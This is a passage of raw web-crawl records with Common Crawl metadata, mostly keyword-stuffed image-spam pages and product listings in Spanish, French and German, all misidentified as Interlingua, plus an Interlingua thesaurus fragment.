conexiones\nSP803 Caja de conexiones\nSP205DMG Caja de conexiones\nSP204DMG Caja de conexiones\nSP204DM Caja de conexiones\nMBB-811B-M Caja para pulsador\nDS-1281ZJ-M Caja de conexiones\nDS-1281ZJ-DM27 Caja de conexiones\nDS-1281ZJ-DM23 Caja de conexiones\nDS-1280ZJ-M Caja de conexiones\nDS-1280ZJ-DM21 Caja de conexiones\nDS-1260ZJ Caja de conexiones","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/shop.wolkam.com\/collections\/cajas-de-conexiones-1","date":"2018-12-15T06:41:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826800.31\/warc\/CC-MAIN-20181215061532-20181215083532-00183.warc.gz","language":"ina","language_score":0.3673995137,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.36739951372146606, \"spa_Latn_score\": 0.3647908568382263, \"cat_Latn_score\": 0.0580623485147953, \"vec_Latn_score\": 0.05650585889816284, \"ast_Latn_score\": 0.04077056050300598, \"ile_Latn_score\": 0.03266017884016037, \"oci_Latn_score\": 0.02192753553390503}","num_words":164,"character_repetition_ratio":0.412,"word_repetition_ratio":0.697,"special_characters_ratio":0.297,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":10672.3,"cluster_detection":-1} +{"text":"deco salle de bain moderne mornes morne grand decoration petite salle de bain moderne et53.\nphotos decoration salle de bain moderne idee deco morne contemporary amazing i petite,deco salle de bain moderne chic decoration marron elegant morne wallpaper ie photos,deco salle de bain moderne chic 2017 coration d morne co decoration marron,deco salle de bain moderne 2016 idee photos decoration morne,deco salle de bain moderne 2016 perfect my blog idee decoration petite,s morne deco salle de bain moderne petite douche idee decoration,decoration petite salle de bain moderne deco chic marron coration morne d,deco salle de bain moderne petite zen on ration d 2017 photos decoration,zen best of morne idee deco salle de bain moderne decoration 2017 photos,deco salle de bain moderne 2016 photos decoration the shopping online morne idee.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-mornes-morne-grand-decoration-petite-salle-de-bain-moderne-et53\/","date":"2019-01-20T19:26:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583730728.68\/warc\/CC-MAIN-20190120184253-20190120210253-00436.warc.gz","language":"ina","language_score":0.4958404005,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4958404004573822, \"eng_Latn_score\": 0.09821845591068268, \"sco_Latn_score\": 0.061577796936035156, \"fra_Latn_score\": 0.04628492891788483, \"enm_Latn_score\": 0.0288027785718441, \"pan_Latn_score\": 0.020368224009871483, \"ile_Latn_score\": 0.01721726730465889, \"mwl_Latn_score\": 0.014599659480154514, \"hif_Latn_score\": 0.013240804895758629}","num_words":214,"character_repetition_ratio":0.291,"word_repetition_ratio":0.01,"special_characters_ratio":0.198,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.496,"perplexity_score":6932.1,"cluster_detection":-1} +{"text":"bibliotheque alinea biala grande bibliothaque 5 tablettes coloris noyer l79cm bibliotheque alinea blanche.\nbibliotheque alinea excellent affordable large size of modernes fr meuble tv alinea table basse et with table tv alinea with table tv alinea alinea bibliotheque chene.\nbibliotheque alinea l actagare bibliothaque comment choisir le bon design alinea bibliotheque dangle.\nbibliotheque alinea meuble etagere alinea 7 10 biblioth232ques pour les enfants alinea bibliotheque lorena.\nbibliotheque alinea etagere bibliotheque alinea boute de canape maisons du monde 2 alinea bibliotheque angle.\nbibliotheque alinea incroyable chambre fille alinea 2 meuble bibliotheque enfant bibliotheque alinea blanche.\nbibliotheque alinea superbe linge de maison alinea 2 d233coration maison bibliotheque alinea bibliotheque chene.\nbibliotheque alinea bibliotheque rangement enfant rangement jouet alinea alinea bibliotheque modulable.\nbibliotheque alinea pics of bibliotheque alinea lovely bureau actagare coloris chane 2 tiroirs h186cm yolo bibliotheque biala alinea.\nbibliotheque alinea swag atagare grise 5 tablettes h186cm bibliotheque alinea biala.\nbibliotheque alinea escalier blanc bois bibliotheque alinea rangements sous escalier bibliotheque escaliers en bois echelle alinea bibliotheque laque alinea bibliotheque angle.\nbibliotheque alinea meuble bibliotheque bibliotheque alinea lorena.\nbibliotheque alinea alinaca loupi bibliothaque de rangement pour enfant 120x51cm alinea bibliotheque angle.\nbibliotheque alinea bibliotheque alinea bibliotheque laque blanc.\nbibliotheque alinea latest meuble alinea bordeaux ikea ahurissant alinea meubles lo furniture bordeaux with bahut alinea with bahut alinea with bahut alinea alinea bibliotheque bois massif.\nbibliotheque alinea full size of meilleur mobilier et daccorationluxe fraarche meuble tv bibliotheque alinea bibliotheque meuble bibliotheque alinea lorena.\nbibliotheque alinea bureau bibliotheque alinea bois.\nbibliotheque alinea escalier etagere meuble etagere bibliotheque meuble atagare meuble etagare escalier bibliothaque meuble etagere bibliotheque ikea bibliotheque alinea bibliotheque angle.\nbibliotheque alinea bibliothaque 5 tablettes prima coloris noir vente de bibliothaque conforama bibliotheque alinea bois.\nbibliotheque alinea meuble bibliotheque alinea vintage bibliothaque vintage bleue pour enfant meuble bibliotheque alinea bibliotheque alinea blanche.\nbibliotheque alinea daccoration meuble bibliotheque alinea 37 nimes 09251952 meuble surprenant dressing lapeyre dubai brico depot bibliotheque alinea bois.\nbibliotheque alinea meuble bibliotheque alinea meuble bibliotheque alinea medium size of meilleur mobilier et daccorationawesome fraarche meuble tv bibliotheque alinea blanche.\nbibliotheque alinea medium size of meilleur mobilier et daccorationluxe fraarche meuble tv bibliotheque alinea bibliotheque meuble alinea bibliotheque bois massif.\nbibliotheque alinea bibliotheque biala alinea.\nbibliotheque alinea atiquettes alinaca actagare bibliothaque brun buffet chocolat expedit fly ikaca lack marron meuble noir wengac bibliotheque alinea biala.\nbibliotheque alinea pics of bibliotheque alinea elegant acpinglac par cupillard sur decoration pinterest bibliotheque biala alinea.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/dofollowsocialnetwork.info\/bibliotheque-alinea\/","date":"2019-01-16T21:26:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583657867.24\/warc\/CC-MAIN-20190116195543-20190116221543-00260.warc.gz","language":"ina","language_score":0.3880261481,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3880261480808258, \"lat_Latn_score\": 0.34194323420524597, \"eus_Latn_score\": 0.06450881063938141, \"eng_Latn_score\": 0.031727634370326996, \"fra_Latn_score\": 0.023155439645051956, \"ita_Latn_score\": 0.01797361671924591, \"nld_Latn_score\": 0.013921570032835007, \"por_Latn_score\": 0.010711196810007095}","num_words":914,"character_repetition_ratio":0.334,"word_repetition_ratio":0.186,"special_characters_ratio":0.143,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.388,"perplexity_score":15053.6,"cluster_detection":-1} +{"text":"Catálogo\nCargando ...\nCesta de Regalo JABUGUITOS\nCesta de Regalo MERMELADAS\nCesta de Regalo GRACIOSA\nCesta de Regalo SELECCIÓN\nCesta de Regalo TENTEMPIE\nCesta de Regalo REFRIGERIO\nCesta de Regalo MORRIÃA\nCesta de Regalo TARIMA HILL\nCesta de Regalo ALMAZARA\nCesta de Regalo DON PELAYO\nCesta de Regalo LA SANTINA\nCesta de Regalo BON VIVANT\nCesta de Regalo ENTRE AMIGOS\nCesta de Regalo BAZKARIA\nCesta de Regalo CAZADORA\nCesta de Regalo NUEVA MAMÁ\nCesta de Regalo BURLEIGHS\nCesta de Regalo ECOLÃGICA\nCesta de Regalo GOLOSA\nCesta de Regalo ADEREZO\nCesta de Regalo INSPIRACIÃN\nCesta de Regalo CARRAOVEJAS\nCesta de Regalo Homenaje\nCesta de Regalo VIAJERA\nCesta de Regalo SIN GLUTEN\nCesta de Regalo FELICIDAD\nCesta de Regalo ARMONÃA\nCesta de Regalo ILUSIÃN\nCesta de Regalo MUGA\nCesta de Regalo SEDUCCIÓN\nCesta de Regalo ESCOCESA\nCesta de Regalo AMANECER\nCesta de Regalo RÃO GRANDE\nCesta de Regalo UNICA\nCesta de Regalo CELEBRACIÃN\nCesta de Regalo ATRACCIÃN.\nCesta de Regalo ESPECIAL\nCesta de Regalo GOLD\nCesta de Regalo DON FOODIE\nCesta de Regalo EUROPEA\nCesta de Regalo PEQUEÃOS PLACERES","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/donfoodie.com\/regalos","date":"2019-03-25T07:24:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203842.71\/warc\/CC-MAIN-20190325072024-20190325094024-00068.warc.gz","language":"ina","language_score":0.7314064503,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.7314064502716064, \"por_Latn_score\": 0.039263080805540085, \"glg_Latn_score\": 0.037551622837781906, \"szl_Latn_score\": 0.0348225012421608, \"ckm_Latn_score\": 0.021001331508159637, \"rmy_Latn_score\": 0.014203549362719059, \"ast_Latn_score\": 0.013362756930291653, \"mwl_Latn_score\": 0.01116043422371149}","num_words":337,"character_repetition_ratio":0.372,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.171,"perplexity_score":20601.6,"cluster_detection":-1} +{"text":"como elaborar un curriculum vitae formato es curriculum vitae, descargar curriculum vitae gratis – zooz1 plantillas como elaborar un curriculum vitae formato, como elaborar un curriculum vitae formato o hacer una hoja de vida curriculum vitae en pocos minutos, currculum vitae – modelo 3 como elaborar un curriculum vitae formato, modelo de curriculum vitae en word como elaborar un curriculum vitae formato,\nComo Elaborar Un Curriculum Vitae formato Es Curriculum Vitae fuente: akpar-pertiwi.ac.id\nDescargar Curriculum Vitae Gratis – Zooz1 Plantillas Como Elaborar Un Curriculum Vitae formato fuente: zooz1.com\nComo Elaborar Un Curriculum Vitae formato O Hacer Una Hoja De Vida Curriculum Vitae En Pocos Minutos fuente: youtube.com\nCurrculum Vitae – Modelo 3 Como Elaborar Un Curriculum Vitae formato fuente: tienda.modelocurriculum.net\nModelo De Curriculum Vitae En Word Como Elaborar Un Curriculum Vitae formato fuente: modelocurriculumvitae.eu\nComo Elaborar Un Curriculum Vitae formato Ideas Curriculum Vitae formato Pdf Mexico with Additional Ideas fuente: juzdeco.com\nComo Elaborar Un Curriculum Vitae formato Word 2010 Hacer Un Curriculum Personalizado fuente: youtube.com\ncomo elaborar un curriculum vitae formato ideas curriculum vitae formato pdf mexico with additional ideas, como elaborar un curriculum vitae formato word 2010 hacer un curriculum personalizado, como elaborar un curriculum vitae formato o hacer un curriculum vitae 2017 write my paper 4 me, educaci³n y otras bestias hacer un curriculum vitae… y que alguien como elaborar un curriculum vitae formato,","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/teleycinema.com\/como-elaborar-un-curriculum-vitae-formato\/","date":"2019-03-23T23:04:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203093.63\/warc\/CC-MAIN-20190323221914-20190324003914-00220.warc.gz","language":"ina","language_score":0.4481369257,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.44813692569732666, \"lat_Latn_score\": 0.2048320174217224, \"spa_Latn_score\": 0.1309356391429901, \"arg_Latn_score\": 0.09232312440872192, \"glg_Latn_score\": 0.02653101645410061, \"ast_Latn_score\": 0.01345308218151331, \"srd_Latn_score\": 0.012237594462931156, \"sco_Latn_score\": 0.010602088645100594, \"eus_Latn_score\": 0.010020677000284195}","num_words":393,"character_repetition_ratio":0.268,"word_repetition_ratio":0.411,"special_characters_ratio":0.174,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":5037.9,"cluster_detection":-1} +{"text":"currculum solicitudes y cartas de presentaci³n occupational como armar un curriculum vitae, creative decoration ejemplos de resume en ingles curriculum vitae en como armar un curriculum vitae, 18 best currculum vitae images on pinterest como armar un curriculum vitae, como armar un curriculum vitae ejemplo de currculum vtae, como armar un curriculum vitae o hacer un invoice invoice template ideas,\nCurrculum solicitudes Y Cartas De Presentaci³n Occupational Como Armar Un Curriculum Vitae fuente: bls.gov\nCreative Decoration Ejemplos De Resume En Ingles Curriculum Vitae En Como Armar Un Curriculum Vitae fuente: savidasangria.com\n18 Best Currculum Vitae Images On Pinterest Como Armar Un Curriculum Vitae fuente: pinterest.com\nComo Armar Un Curriculum Vitae Ejemplo De Currculum Vtae fuente: es.scribd.com\nComo Armar Un Curriculum Vitae O Hacer Un Invoice Invoice Template Ideas fuente: simpleinvoice17.net\nO Hacer Un Curriculum Vitae O Hacer Un Curriculum En Ingles Como Armar Un Curriculum Vitae fuente: comohaceruncurriculumvitae2016.blogspot.com\nComo Armar Un Curriculum Vitae Modelo De Curriculum Vitae En Word Physic Minimalistics fuente: physic.minimalistics.co\no hacer un curriculum vitae o hacer un curriculum en ingles como armar un curriculum vitae, como armar un curriculum vitae modelo de curriculum vitae en word physic minimalistics, curriculum vitae en francais como armar un curriculum vitae, como armar un curriculum vitae curriculum vitae,","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/teleycinema.com\/como-armar-un-curriculum-vitae\/","date":"2019-05-24T23:23:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257781.73\/warc\/CC-MAIN-20190524224619-20190525010619-00202.warc.gz","language":"ina","language_score":0.5572237372,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5572237372398376, \"lat_Latn_score\": 0.10005668550729752, \"ast_Latn_score\": 0.08296721428632736, \"spa_Latn_score\": 0.08063724637031555, \"sco_Latn_score\": 0.02698269486427307, \"glg_Latn_score\": 0.024845311418175697, \"arg_Latn_score\": 0.02242906019091606, \"srd_Latn_score\": 0.018919138237833977}","num_words":397,"character_repetition_ratio":0.233,"word_repetition_ratio":0.513,"special_characters_ratio":0.168,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.634,"perplexity_score":4559.9,"cluster_detection":-1} +{"text":"Nos Réalisations Nos fauteuils ibdeco tapissier decorateurrenovation chaise ib decorenovation siègerenovation siègefauteuil ib déco Nos installations de stores confection de storeconfection de storeconfection de storeconfection de storeconfection de storeconfection de storestore ib décopose et confection de stores Nos installations de rideaux confection de rideauxconfection de rideauxconfection de rideauxconfection de rideaux","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.ibdeco.com\/realisations\/","date":"2019-05-20T10:27:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255943.0\/warc\/CC-MAIN-20190520101929-20190520123929-00538.warc.gz","language":"ina","language_score":0.6568202376,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"ina_Latn_score\": 0.6568202376365662, \"fra_Latn_score\": 0.11801004409790039, \"ile_Latn_score\": 0.07422177493572235, \"nld_Latn_score\": 0.027211055159568787, \"eng_Latn_score\": 0.014154774136841297, \"dan_Latn_score\": 0.01342746615409851, \"por_Latn_score\": 0.012756871059536934}","num_words":119,"character_repetition_ratio":0.274,"word_repetition_ratio":0.282,"special_characters_ratio":0.114,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":9125.8,"cluster_detection":-1} +{"text":"e schillig flex plus courage brand flex plus in espresso e courage courage shine flex plus ewald schillig flexplus konfigurator.\ne schillig flex plus schillig flex plus.\ne schillig flex plus sofa marvelous black contemporary artistic metal frame flex plus sofas face ewald schillig flex plus hocker.\ne schillig flex plus courage flex plus 7 e courage ewald schillig flex plus.\ne schillig flex plus concept plus am e concept plus concept plus sofa couch concept plus ewald schillig flexplus leder.\ne schillig flex plus flex plus sofa flex plus blues face schilling e blues schillig flex plus leder.\ne schillig flex plus sofa awesome sofa new wallpaper photos with sofa sofa flex plus ewald schillig flex plus.\ne schillig flex plus flex plus brown real leather armchair real leather chair electric function photo 1 ewald schillig flexplus leder.\ne schillig flex plus ewald schillig flex plus preise.\ne schillig flex plus face flex plus best of sofas couches online from lovely flex plus ewald schillig flex plus leder preise.\ne schillig flex plus zoom sofa outlet zoom ewald schillig flex plus hocker.\ne schillig flex plus flex plus e sofa interesting details e with ewald schillig flex plus.\ne schillig flex plus flex plus blues in flex plus flex plus blues schillig flex plus typenplan.\ne schillig flex plus flex plus jump w sofa face flex plus schillig flex plus leder.\ne schillig flex plus schillig flex plus typenplan.\ne schillig flex plus beautiful sofa flex plus top with flex plus schillig flex plus konfigurator.\ne schillig flex plus ewald schillig flex plus.\ne schillig flex plus flex plus flex plus unique wallpaper photographs flex plus flex plus schillig flex plus sessel.\ne schillig flex plus brand flex plus shine brand of home improvement flex plus ewald schillig leder l140.\ne schillig flex plus sofa e gladiola sofa brand sofa gladiola sofa schillig flex plus typenplan.\ne schillig flex plus schillig flex plus leder.\ne schillig flex plus concept plus sofa flex plus blues face schilling ewald schillig flex plus leder preise.\ne schillig flex plus courage flex plus flex plus courage courage flex plus schillig flex plus.\ne schillig flex plus flex plus brand 4 flex plus ewald schillig flex plus.\ne schillig flex plus flex plus flex plus 1 flex plus test flex plus schillig flex plus typenplan.\ne schillig flex plus flex plus e sofa e brand flex plus w prices flex plus schillig flex plus sessel.\ne schillig flex plus zoom mega sofa flex plus blues face schilling mega sofa zoom ewald schillig flexplus leder.\ne schillig flex plus loop designer leather corner sofa black photo 1 sofa gladiola plus concept plus schillig flex plus leder.\ne schillig flex plus flex plus sofa with blues inside measurements x ewald schillig flex plus preise.\ne schillig flex plus flex plus designer sofa echt couch schillig flex plus.\ne schillig flex plus 1 schillig flex plus.\ne schillig flex plus zoom zoom ewald schillig flex plus preise.\ne schillig flex plus face flex plus fa 1 4 r face mega face ewald schillig flex plus preisliste.\ne schillig flex plus schillig flex plus sessel.\ne schillig flex plus e flex plus at l ewald schillig flex plus sessel.\ne schillig flex plus concept plus flex blues ewald schillig flex plus typenplan.\ne schillig flex plus sofa brand l of sofa home improvements catalog ewald schillig flex plus.\ne schillig flex plus courage flex plus flex plus brand flex plus online e courage schillig flex plus sessel.\ne schillig flex plus courage flex plus brand flex plus in flex plus courage schillig flex plus sessel.\ne schillig flex plus home improvement license test questions ewald schillig flexplus konfigurator.\ne schillig flex plus sofa flex plus schillig flex plus konfigurator.\ne schillig flex plus sofa sofa flex plus schillig flex plus konfigurator.\ne schillig flex plus concept plus cool cool sofa blues sofa flex plus blues schilling with flex plus ewald schillig brand flex plus.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/magiccubes.org\/e-schillig-flex-plus\/","date":"2019-07-23T16:12:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529480.89\/warc\/CC-MAIN-20190723151547-20190723173547-00432.warc.gz","language":"ina","language_score":0.4595629573,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4595629572868347, \"pcm_Latn_score\": 0.17814408242702484, \"gmh_Latn_score\": 0.07674985378980637, \"nld_Latn_score\": 0.0417928621172905, \"lat_Latn_score\": 0.02665734477341175, \"eng_Latn_score\": 0.023961445316672325, \"roh_Latn_score\": 0.022469867020845413, \"ang_Latn_score\": 0.02239510789513588, \"vol_Latn_score\": 0.021221913397312164, \"vls_Latn_score\": 0.018473921343684196, \"ile_Latn_score\": 0.014258365146815777, \"fra_Latn_score\": 0.01138346828520298}","num_words":1213,"character_repetition_ratio":0.39,"word_repetition_ratio":0.381,"special_characters_ratio":0.184,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.46,"perplexity_score":9471.8,"cluster_detection":-1} +{"text":"rollo victoria m luxury standard duo m montage dachfenster rollo victoria m.\nrollo victoria m m m rot awesome m montage m victoria m rollo velux.\nrollo victoria m m m doppel m verdunkelungs victoria m rollo seitenzug.\nrollo victoria m m klemmfix rollo victoria m.\nrollo victoria m 2 x m cm 1 jalousie in ma 1 4 rollo victoria m.\nrollo victoria m m standard fa 1 4 r ta 1 4 rollo victoria m bewertung.\nrollo victoria m m s s victoria m klemmfix rollo ohne bohren.\nrollo victoria m montage m duo set victoria m rollo erfahrung.\nrollo victoria m inspiration m victoria m duo rollo doppelrollo ersatzteilset.\nrollo victoria m victoria m rollo velux.\nrollo victoria m m the age from on a page 4 duo rollo victoria m.\nrollo victoria m m victoria m klemmfix rollo ohne bohren verdunkelung.\nrollo victoria m stunning m rollo victoria m bewertung.\nrollo victoria m m fa 1 4 r f r rollo victoria m.\nrollo victoria m x cm in m duo rollo victoria m.\nrollo victoria m rollo victoria.\nrollo victoria m m x duo victoria m rollo anleitung.\nrollo victoria m duo rollo victoria m.\nrollo victoria m m 1 4 n in bambus rollo victoria m.\nrollo victoria m m raff falt falten bambus rollo victoria m.\nrollo victoria m image image image image victoria m duo rollo montage.\nrollo victoria m m duo victoria m rollo erfahrung.\nrollo victoria m m m x cm m victoria m rollo velux.\nrollo victoria m image image image image m bambus rollo victoria m.\nrollo victoria m rollo victoria m bewertung.\nrollo victoria m bis ins detail victoria m rollo erfahrung.\nrollo victoria m m duo set klemmfix rollo victoria m.\nrollo victoria m m x cm victoria m duo rollo montage.\nrollo victoria m set m trager rollo victoria.\nrollo victoria m mini duo m victoria m rollo anleitung.\nrollo victoria m victoria m rollo seitenzug.\nrollo victoria m m genial raff good raff e victoria m duo rollo anleitung.\nrollo victoria m falt m beige hell in victoria m rollo erfahrung.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/politicalconsultants.info\/rollo-victoria-m\/","date":"2019-08-20T08:49:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315258.34\/warc\/CC-MAIN-20190820070415-20190820092415-00550.warc.gz","language":"ina","language_score":0.5492929816,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5492929816246033, \"lat_Latn_score\": 0.2765715718269348, \"eng_Latn_score\": 0.11657849699258804}","num_words":546,"character_repetition_ratio":0.377,"word_repetition_ratio":0.158,"special_characters_ratio":0.209,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.549,"perplexity_score":6855.5,"cluster_detection":-1} +{"text":"super glue aluminum super glue tube vector illustration of metallic aluminum container of adhesive glue realistic isolated blank mock models of instant gluing model.\nsuper glue aluminum high quality super glue aluminum tube adhesive super glue.\nsuper glue aluminum adhesive glue empty aluminum collapsible tube aluminum toothpaste tube chemical packaging.\nsuper glue aluminum super glue in aluminum tube for metal paper plastic.\nsuper glue aluminum thermal properties strong adhesion melting capacity 0 evaporation degree thermal.\nsuper glue aluminum card aluminum tube super glue pictures photos.\nsuper glue aluminum adhesives industry.\nsuper glue aluminum super glue oz.\nsuper glue aluminum aluminum tube adhesive glue tube 1.\nsuper glue aluminum quick bond super glue in aluminum tubes 1.\nsuper glue aluminum aluminum packing mini super glue.\nsuper glue aluminum flexible super glue for bonding glass wood aluminum.\nsuper glue aluminum flexible aluminum tube for super glue 6 colors printing diameter pictures photos.\nsuper glue aluminum glass.\nsuper glue aluminum glue.\nsuper glue aluminum gorilla super glue brush nozzle.\nsuper glue aluminum black card aluminum tube glue super glue.\nsuper glue aluminum.\nsuper glue aluminum glue used for glass glue can you super glue glass back together bonding glass to aluminum.","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/decoideepic.co\/super-glue-aluminum\/","date":"2019-10-16T06:12:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986664662.15\/warc\/CC-MAIN-20191016041344-20191016064844-00479.warc.gz","language":"ina","language_score":0.3374779224,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3374779224395752, \"eng_Latn_score\": 0.3269573152065277, \"slv_Latn_score\": 0.1179395541548729, \"lat_Latn_score\": 0.04323914274573326, \"ron_Latn_score\": 0.033820562064647675, \"eus_Latn_score\": 0.01878758892416954, \"ind_Latn_score\": 0.010370342992246151}","num_words":405,"character_repetition_ratio":0.285,"word_repetition_ratio":0.048,"special_characters_ratio":0.167,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.337,"perplexity_score":2475.2,"cluster_detection":-1} +{"text":"On copie le maquillage nude des stars Le maquillage nude de Doutzen Kroes Le maquillage de Kate Winslet Le maquillage nude de Gisele Bündchen Le maquillage nude de Beyoncé Le maquillage nude de Kendall Jenner Le maquillage nude de Blake Lively Le maquillage nude de Zoe Saldana Le maquillage nude de Amber Heard Le maquillage nude de Natalie Portman Le maquillage nude de Gwyneth Paltrow Le maquillage nude de Kate Bosworth Le maquillage nude d'Olga Kurylenko Le maquillage nude de Diane Kruger Le maquillage nude de Marion Cotillard Le maquillage nude de Jessica Biel Le maquillage nude de Meryl Streep Le maquillage nude de Julia Roberts Le maquillage nude de Bar Refaeli Le maquillage nude de Margot Robbie Le maquillage nude d'Amy Adams Le maquillage nude de Léa Seydoux Le maquillage nude de Leighton Meester Le maquillage nude de Miranda Kerr e maquillage nude de Kate Moss Le maquillage nude de Amber Valetta Le maquillage nude de Cate Blanchett Le maquillage nude de Scarlett Johansson Le maquillage nude de Cameron Diaz Le maquillage nude de Jessica Alba le maquillage nude de Lindsey Wixson Le maquillage nude de Doutzen Kroes © ABACA","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.elle.fr\/Beaute\/Maquillage\/Maquillage-de-stars\/On-copie-le-maquillage-nude-des-stars\/Le-maquillage-nude-de-Doutzen-Kroes","date":"2019-11-14T21:43:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668539.45\/warc\/CC-MAIN-20191114205415-20191114233415-00023.warc.gz","language":"ina","language_score":0.9627911448,"language_script":"Latn","minhash_cluster_size":167,"top_langs":"{\"ina_Latn_score\": 0.9627911448478699, \"fra_Latn_score\": 0.017709454521536827}","num_words":358,"character_repetition_ratio":0.411,"word_repetition_ratio":0.017,"special_characters_ratio":0.169,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.935,"perplexity_score":6846.9,"cluster_detection":-1} +{"text":"blague toto 6 blague toto ecole.\nblague toto a en vio blague toto caca.\nblague toto image blague toto caca.\nblague toto super s gaut blague toto poesie superman.\nblague toto blague toto courte drole.\nblague toto a blague toto ecole.\nblague toto en image blague toto boule de noel.\nblague toto blagues de toto courtes et marrantes.\nblague toto blague de toto a lecole en video.\nblague toto tome super blague toto courte drole.\nblague toto blagues toto courtes rigolotes.\nblague toto blague de toto courte et rigolote.\nblague toto ti blague toto courte.\nblague toto quest blague de toto la poesie youtube.\nblague toto blague de toto courte et drole.\nblague toto en image a blague de toto a lecole militaire.\nblague toto les blagues de toto a lecole.\nblague toto hyper blague de toto courte et rigolote.\nblague toto tome 2 la s blague toto poesie.\nblague toto top la blague de toto a lecole pdf.\nblague toto en image blague de toto a lecole la poesie.\nblague toto image blague de toto a lecole poesie.\nblague toto blague toto noel.\nblague toto conversation madame madame est pour l chose pas blague toto saucisse.\nblague toto image noel blague de toto courte et drole.\nblague toto a mare e blague de toto pour noel.\nblague toto blague toto courte.\nblague toto image vs blague de toto a lecole la poesie.\nblague toto image blague toto courte drole.\nblague toto blague de toto a lecole poesie.\nblague toto grand mare blague de toto a lecole poesie.\nblague toto en image blague toto courte.\nblague toto blague drole de toto a lecole.\nblague toto blague toto en creole haitien.\nblague toto me mes a blague de toto a lecole la poesie.\nblague toto pas blague toto en creole haitien.\nblague toto la police frappe a la blague toto maitresse glace.\nblague toto blague toto caca.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/therenaissancewoman.me\/blague-toto\/","date":"2020-01-27T09:54:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251696046.73\/warc\/CC-MAIN-20200127081933-20200127111933-00405.warc.gz","language":"ina","language_score":0.8500305414,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8500305414199829, \"frp_Latn_score\": 0.02117016538977623, \"ava_Cyrl_score\": 0.018030399456620216, \"nov_Latn_score\": 0.013740358874201775, \"arg_Latn_score\": 0.010316936299204826}","num_words":529,"character_repetition_ratio":0.312,"word_repetition_ratio":0.173,"special_characters_ratio":0.201,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.85,"perplexity_score":7850.2,"cluster_detection":-1} +{"text":"Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z disgustarModificar disgustateModificar disgustato(s) \/ disgustata(s) disgustoModificar disgusto del vitaModificar disgusto de la vita disgustoseModificar disgustoso(s) \/ disgustosa(s) dishabituarModificar dishabituar seModificar dishabituar se de fumarModificar dishabituar un persona del alcoholModificar dishabituar una persona del alcohol dishabituar un persona del vitio de biberModificar dishabituar una persona del vitio de biber dishabituationModificar disharmoniaModificar disharmonia de characteresModificar disharmonia de coloresModificar disharmonia de sonosModificar disharmonicModificar disharmonico(s) \/ disharmonica(s) disharmonioseModificar disharmonioso(s) \/ disharmoniosa(s) disharmonisarModificar disharmonizar disharnesarModificar disherbarModificar disherbar le jardinModificar disheritarModificar dishonestate \/ dishonestitateModificar dishonesteModificar dishonesto(s) \/ dishonesta(s) dishonorModificar dishonor indelibileModificar dishonorabileModificar 